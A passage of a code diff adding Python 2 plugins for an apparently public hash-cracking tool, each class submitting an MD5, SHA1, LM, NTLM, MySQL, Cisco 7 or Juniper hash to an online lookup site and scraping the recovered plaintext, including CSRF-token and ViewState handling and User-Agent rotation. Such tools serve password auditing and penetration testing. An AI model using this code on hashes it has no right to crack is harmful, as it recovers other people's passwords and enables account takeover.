+			return match.group().split('b>')[1][:-2]
+		else:
+			return None
+
+
+
+class MD5DECRYPTION:
+	
+	name = 		"md5decryption"
+	url = 		"http://md5decryption.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "hash" : hashvalue,
+			   "submit" : "Decrypt It!" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"Decrypted Text: </b>[^<]*</font>", html)
+		
+		if match:
+			return match.group().split('b>')[1][:-7]
+		else:
+			return None
+
+
+
+class MD5CRACK:
+	
+	name = 		"md5crack"
+	url = 		"http://md5crack.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5crack.com/crackmd5.php"
+		
+		# Build the parameters
+		params = { "term" : hashvalue,
+			   "crackbtn" : "Crack that hash baby!" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'Found: md5\("[^"]+"\)', html)
+		
+		if match:
+			return match.group().split('"')[1]
+		else:
+			return None
+
+
+class MD5ONLINE:
+	
+	name = 		"md5online"
+	url = 		"http://md5online.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "pass" : hashvalue,
+			   "option" : "hash2text",
+			   "send" : "Submit" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<center><p>md5 :<b>\w*</b> <br>pass : <b>[^<]*</b></p></table>', html)
+		
+		if match:
+			return match.group().split('b>')[3][:-2]
+		else:
+			return None
+
+
+
+
+class MD5_DECRYPTER:
+	
+	name = 		"md5-decrypter"
+	url = 		"http://md5-decrypter.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = self.url
+		
+		# Build the parameters
+		params = { "data[Row][cripted]" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = findall (r'<b class="res">[^<]*</b>', html)
+		
+		if match:
+			return match[1].split('>')[1][:-3]
+		else:
+			return None
+
+
+
+class AUTHSECUMD5:
+	
+	name = 		"authsecu"
+	url = 		"http://www.authsecu.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.authsecu.com/decrypter-dechiffrer-cracker-hash-md5/script-hash-md5.php"
+		
+		# Build the parameters
+		params = { "valeur_bouton" : "dechiffrage",
+			   "champ1" : "",
+			   "champ2" : hashvalue,
+			   "dechiffrer.x" : "78",
+			   "dechiffrer.y" : "7" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = findall (r'<td><p class="chapitre---texte-du-tableau-de-niveau-1">[^<]*</p></td>', html)
+		
+		if len(match) > 2:
+			return match[1].split('>')[2][:-3]
+		else:
+			return None
+
+
+
+class HASHCRACK:
+	
+	name = 		"hashcrack"
+	url = 		"http://hashcrack.com"
+	supported_algorithm = [MD5, SHA1, MYSQL, LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://hashcrack.com/indx.php"
+		
+		hash2 = None
+		if alg in [LM, NTLM] and ':' in hashvalue:
+			if alg == LM:
+				hash2 = hashvalue.split(':')[0]
+			else:
+				hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		# Delete the possible starting '*'
+		if alg == MYSQL and hash2[0] == '*':
+			hash2 = hash2[1:]
+		
+		# Build the parameters
+		params = { "auth" : "8272hgt",
+			   "hash" : hash2,
+			   "string" : "",
+			   "Submit" : "Submit" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<div align=center>"[^"]*" resolves to</div><br><div align=center> <span class=hervorheb2>[^<]*</span></div></TD>', html)
+		
+		if match:
+			return match.group().split('hervorheb2>')[1][:-18]
+		else:
+			return None
+
+
+
+class OPHCRACK:
+	
+	name = 		"ophcrack"
+	url = 		"http://www.objectif-securite.ch"
+	supported_algorithm = [LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Check if hashvalue has the character ':'
+		if ':' not in hashvalue:
+			return None
+			
+		# Ophcrack doesn't crack NTLM hashes. It needs a valid LM hash and this one is an empty hash.
+		if hashvalue.split(':')[0] == "aad3b435b51404eeaad3b435b51404ee":
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.objectif-securite.ch/en/products.php?hash=%s" % (hashvalue.replace(':', '%3A'))
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<table><tr><td>Hash:</td><td>[^<]*</td></tr><tr><td><b>Password:</b></td><td><b>[^<]*</b></td>', html)
+		
+		if match:
+			return match.group().split('b>')[3][:-2]
+		else:
+			return None
+	
+
+
+class C0LLISION:
+	
+	name = 		"c0llision"
+	url = 		"http://www.c0llision.net"
+	supported_algorithm = [MD5, LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Check if hashvalue has the character ':'
+		if alg in [LM, NTLM] and ':' not in hashvalue:
+			return None
+			
+		# Look for "hash[_csrf_token]" parameter
+		response = do_HTTP_request ( "http://www.c0llision.net/webcrack.php" )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<input type="hidden" name="hash._csrf_token." value="[^"]*" id="hash__csrf_token" />', html)
+		token = None
+		if match:
+			token = match.group().split('"')[5]
+		
+		# Build the URL
+		url = "http://www.c0llision.net/webcrack/request"
+		
+		# Build the parameters
+		params = { "hash[_input_]" : hashvalue,
+			   "hash[_csrf_token]" : token }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = None
+		if alg in [LM, NTLM]:
+			html = html.replace('\n', '')
+			result = ""
+			
+			match = search (r'<table class="pre">.*?</table>', html)
+			if match:
+				try:
+					doc = parseDoc ( match.group() )
+				except:
+					print "INFO: You need libxml2 to use this plugin."
+					return None
+				lines = doc.xpathEval("//tr")
+				for l in lines:
+					doc = parseDoc ( str(l) )
+					cols = doc.xpathEval("//td")
+					
+					if len(cols) < 4:
+						return None
+					
+					if cols[2].content:
+						result = " > %s (%s) = %s\n" % ( cols[1].content, cols[2].content, cols[3].content )
+				
+				#return ( result and "\n" + result or None )
+				return ( result and result.split()[-1] or None )
+			
+		else:
+			match = search (r'<td class="plaintext">[^<]*</td>', html)
+		
+			if match:
+				return match.group().split('>')[1][:-4]
+		
+		return None
+
+
+
+class REDNOIZE:
+	
+	name = 		"rednoize"
+	url = 		"http://md5.rednoize.com"
+	supported_algorithm = [MD5, SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = ""
+		if alg == MD5:
+			url = "http://md5.rednoize.com/?p&s=md5&q=%s&_=" % (hashvalue)
+		else:
+			url = "http://md5.rednoize.com/?p&s=sha1&q=%s&_=" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		return html
+			
+			
+
+
+class CMD5:
+	
+	name = 		"cmd5"
+	url = 		"http://www.cmd5.org"
+	supported_algorithm = [MD5, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Look for hidden parameters
+		response = do_HTTP_request ( "http://www.cmd5.org/" )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="[^"]*" />', html)
+		viewstate = None
+		if match:
+			viewstate = match.group().split('"')[7]
+		
+		match = search (r'<input type="hidden" name="ctl00.ContentPlaceHolder1.HiddenField1" id="ctl00_ContentPlaceHolder1_HiddenField1" value="[^"]*" />', html)
+		ContentPlaceHolder1 = ""
+		if match:
+			ContentPlaceHolder1 = match.group().split('"')[7]
+		
+		match = search (r'<input type="hidden" name="ctl00.ContentPlaceHolder1.HiddenField2" id="ctl00_ContentPlaceHolder1_HiddenField2" value="[^"]*" />', html)
+		ContentPlaceHolder2 = ""
+		if match:
+			ContentPlaceHolder2 = match.group().split('"')[7]
+		
+		# Build the URL
+		url = "http://www.cmd5.org/"
+		
+		hash2 = ""
+		if alg == MD5:
+			hash2 = hashvalue
+		else:
+			if ':' in hashvalue:
+				hash2 = hashvalue.split(':')[1]
+		
+		# Build the parameters
+		params = { "__EVENTTARGET" : "",
+			   "__EVENTARGUMENT" : "",
+			   "__VIEWSTATE" : viewstate,
+			   "ctl00$ContentPlaceHolder1$TextBoxq" : hash2,
+			   "ctl00$ContentPlaceHolder1$InputHashType" : alg,
+			   "ctl00$ContentPlaceHolder1$Button1" : "decrypt",
+			   "ctl00$ContentPlaceHolder1$HiddenField1" : ContentPlaceHolder1,
+			   "ctl00$ContentPlaceHolder1$HiddenField2" : ContentPlaceHolder2 }
+			   
+		header = { "Referer" : "http://www.cmd5.org/" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params, header )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<span id="ctl00_ContentPlaceHolder1_LabelResult">[^<]*</span>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-6]
+		else:
+			return None
+
+
+
+class AUTHSECUCISCO7:
+	
+	name = 		"authsecu"
+	url = 		"http://www.authsecu.com"
+	supported_algorithm = [CISCO7]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.authsecu.com/decrypter-dechiffrer-cracker-password-cisco-7/script-password-cisco-7-launcher.php"
+		
+		# Build the parameters
+		params = { "valeur_bouton" : "dechiffrage",
+			   "champ1" : hashvalue,
+			   "dechiffrer.x" : 43,
+			   "dechiffrer.y" : 16 }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = findall (r'<td><p class="chapitre---texte-du-tableau-de-niveau-1">[^<]*</p></td>', html)
+		
+		if match:
+			return match[1].split('>')[2][:-3]
+		else:
+			return None
+
+
+
+
+class CACIN:
+	
+	name = 		"cacin"
+	url = 		"http://cacin.net"
+	supported_algorithm = [CISCO7]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://cacin.net/cgi-bin/decrypt-cisco.pl?cisco_hash=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<tr>Cisco password 7: [^<]*</tr><br><tr><th><br>Decrypted password: .*', html)
+		
+		if match:
+			return match.group().split(':')[2][1:]
+		else:
+			return None
+
+
+class IBEAST:
+	
+	name = 		"ibeast"
+	url = 		"http://www.ibeast.com"
+	supported_algorithm = [CISCO7]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.ibeast.com/content/tools/CiscoPassword/decrypt.php?txtPassword=%s&submit1=Enviar+consulta" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<font size="\+2">Your Password is [^<]*<br>', html)
+		
+		if match:
+			return match.group().split('is ')[1][:-4]
+		else:
+			return None
+
+
+
+class PASSWORD_DECRYPT:
+	
+	name = 		"password-decrypt"
+	url = 		"http://password-decrypt.com"
+	supported_algorithm = [CISCO7, JUNIPER]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the parameters
+		url = ""
+		params = None
+		if alg == CISCO7:
+			url = "http://password-decrypt.com/cisco.cgi"
+			params = { "submit" : "Submit",
+				"cisco_password" : hashvalue,
+				"submit" : "Submit" }
+		else:
+			url = "http://password-decrypt.com/juniper.cgi"
+			params = { "submit" : "Submit",
+				"juniper_password" : hashvalue,
+				"submit" : "Submit" }
+		
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'Decrypted Password:&nbsp;<B>[^<]*</B> </p>', html)
+		
+		if match:
+			return match.group().split('B>')[1][:-2]
+		else:
+			return None
+
+
+
+
+class BIGTRAPEZE:
+	
+	name = 		"bigtrapeze"
+	url = 		"http://www.bigtrapeze.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.bigtrapeze.com/md5/index.php"
+		
+		# Build the parameters
+		params = { "query" : hashvalue,
+			   " Crack " : "Enviar consulta" }
+			   
+		# Build the Headers with a random User-Agent
+		headers = { "User-Agent" : USER_AGENTS[randint(0, len(USER_AGENTS))-1] }
+
+		# Make the request
+		response = do_HTTP_request ( url, params, headers )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'Congratulations!<li>The hash <strong>[^<]*</strong> has been deciphered to: <strong>[^<]*</strong></li>', html)
+		
+		if match:
+			return match.group().split('strong>')[3][:-2]
+		else:
+			return None
+
+
+class HASHCHECKER:
+	
+	name = 		"hashchecker"
+	url = 		"http://www.hashchecker.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.hashchecker.com/index.php"
+		
+		# Build the parameters
+		params = { "search_field" : hashvalue,
+			   "Submit" : "search" }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'<td><li>Your md5 hash is :<br><li>[^\s]* is <b>[^<]*</b> used charlist :2</td>', html)
+		
+		if match:
+			return match.group().split('b>')[1][:-2]
+		else:
+			return None
+
+
+
+class MD5HASHCRACKER:
+	
+	name = 		"md5hashcracker"
+	url = 		"http://md5hashcracker.appspot.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5hashcracker.appspot.com/crack"
+		
+		# Build the parameters
+		params = { "query" : hashvalue,
+			   "submit" : "Crack" }
+		
+		# Make the firt request
+		response = do_HTTP_request ( url, params )
+		
+		# Build the second URL
+		url = "http://md5hashcracker.appspot.com/status"
+		
+		# Make the second request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<td id="cra[^"]*">not cracked</td>', html)
+		
+		if not match:
+			match = search (r'<td id="cra[^"]*">cracked</td>', html)
+			regexp = r'<td id="pla_' + match.group().split('"')[1][4:] + '">[^<]*</td>'
+			match2 = search (regexp, html)
+			if match2:
+				return match2.group().split('>')[1][:-4]
+			
+		else:
+			return None
+
+
+
+class PASSCRACKING:
+	
+	name = 		"passcracking"
+	url = 		"http://passcracking.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL 
+		url = "http://passcracking.com/index.php"
+		
+		# Build the parameters
+		boundary = "-----------------------------" + str(randint(1000000000000000000000000000,9999999999999999999999999999))
+		params = [ '--' + boundary, 
+			   'Content-Disposition: form-data; name="admin"', 
+			   '', 
+			   'false', 
+			   
+			   '--' + boundary, 
+			   'Content-Disposition: form-data; name="admin2"', 
+			   '', 
+			   '77.php', 
+			   
+			   '--' + boundary, 
+			   'Content-Disposition: form-data; name="datafromuser"', 
+			   '', 
+			   '%s' % (hashvalue) , 
+			   
+			   '--' + boundary + '--', '' ]
+		body = '\r\n'.join(params)
+
+		# Build the headers
+		headers = { "Content-Type" : "multipart/form-data; boundary=%s" % (boundary),
+		            "Content-length" : len(body) }
+		
+			   
+		# Make the request
+		request = urllib2.Request ( url )
+		request.add_header ( "Content-Type", "multipart/form-data; boundary=%s" % (boundary) )
+		request.add_header ( "Content-length", len(body) )
+		request.add_data(body)
+		try:
+			response = urllib2.urlopen(request)
+		except:
+			return None
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'<td>md5 Database</td><td>[^<]*</td><td bgcolor=.FF0000>[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[5][:-4]
+		else:
+			return None
+
+
+class ASKCHECK:
+	
+	name = 		"askcheck"
+	url = 		"http://askcheck.com"
+	supported_algorithm = [MD4, MD5, SHA1, SHA256]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://askcheck.com/reverse?reverse=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'Reverse value of [^\s]* hash <a[^<]*</a> is <a[^>]*>[^<]*</a>', html)
+		
+		if match:
+			return match.group().split('>')[3][:-3]
+		else:
+			return None
+
+
+
+class FOX21:
+	
+	name = 		"fox21"
+	url = 		"http://cracker.fox21.at"
+	supported_algorithm = [MD5, LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		hash2 = None
+		if alg in [LM, NTLM] and ':' in hashvalue:
+			if alg == LM:
+				hash2 = hashvalue.split(':')[0]
+			else:
+				hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		
+		# Build the URL
+		url = "http://cracker.fox21.at/api.php?a=check&h=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		xml = None
+		if response:
+			try:
+				doc = parseDoc ( response.read() )
+			except:
+				print "INFO: You need libxml2 to use this plugin."
+				return None
+		else:
+			return None
+		
+		result = doc.xpathEval("//hash/@plaintext")
+		
+		if result:
+			return result[0].content
+		else:
+			return None
+
+
+class NICENAMECREW:
+	
+	name = 		"nicenamecrew"
+	url = 		"http://crackfoo.nicenamecrew.com"
+	supported_algorithm = [MD5, SHA1, LM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		hash2 = None
+		if alg in [LM] and ':' in hashvalue:
+			hash2 = hashvalue.split(':')[0]
+		else:
+			hash2 = hashvalue
+			
+		# Build the URL
+		url = "http://crackfoo.nicenamecrew.com/?t=%s" % (alg)
+		
+		# Build the parameters
+		params = { "q" : hash2,
+			   "sa" : "Crack" }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'The decrypted version of [^\s]* is:<br><strong>[^<]*</strong>', html)
+		
+		if match:
+			return match.group().split('strong>')[1][:-2].strip()
+		else:
+			return None
+
+
+
+class JOOMLAAA:
+	
+	name = 		"joomlaaa"
+	url = 		"http://joomlaaa.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://joomlaaa.com/component/option,com_md5/Itemid,31/"
+		
+		# Build the parameters
+		params = { "md5" : hashvalue,
+			   "decode" : "Submit" }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"<td class='title1'>not available</td>", html)
+		
+		if not match:
+			match2 = findall (r"<td class='title1'>[^<]*</td>", html)
+			return match2[1].split('>')[1][:-4]
+		else:
+			return None
+
+
+
+class MD5_LOOKUP:
+	
+	name = 		"md5-lookup"
+	url = 		"http://md5-lookup.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+class SHA1_LOOKUP:
+	
+	name = 		"sha1-lookup"
+	url = 		"http://sha1-lookup.com"
+	supported_algorithm = [SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://sha1-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
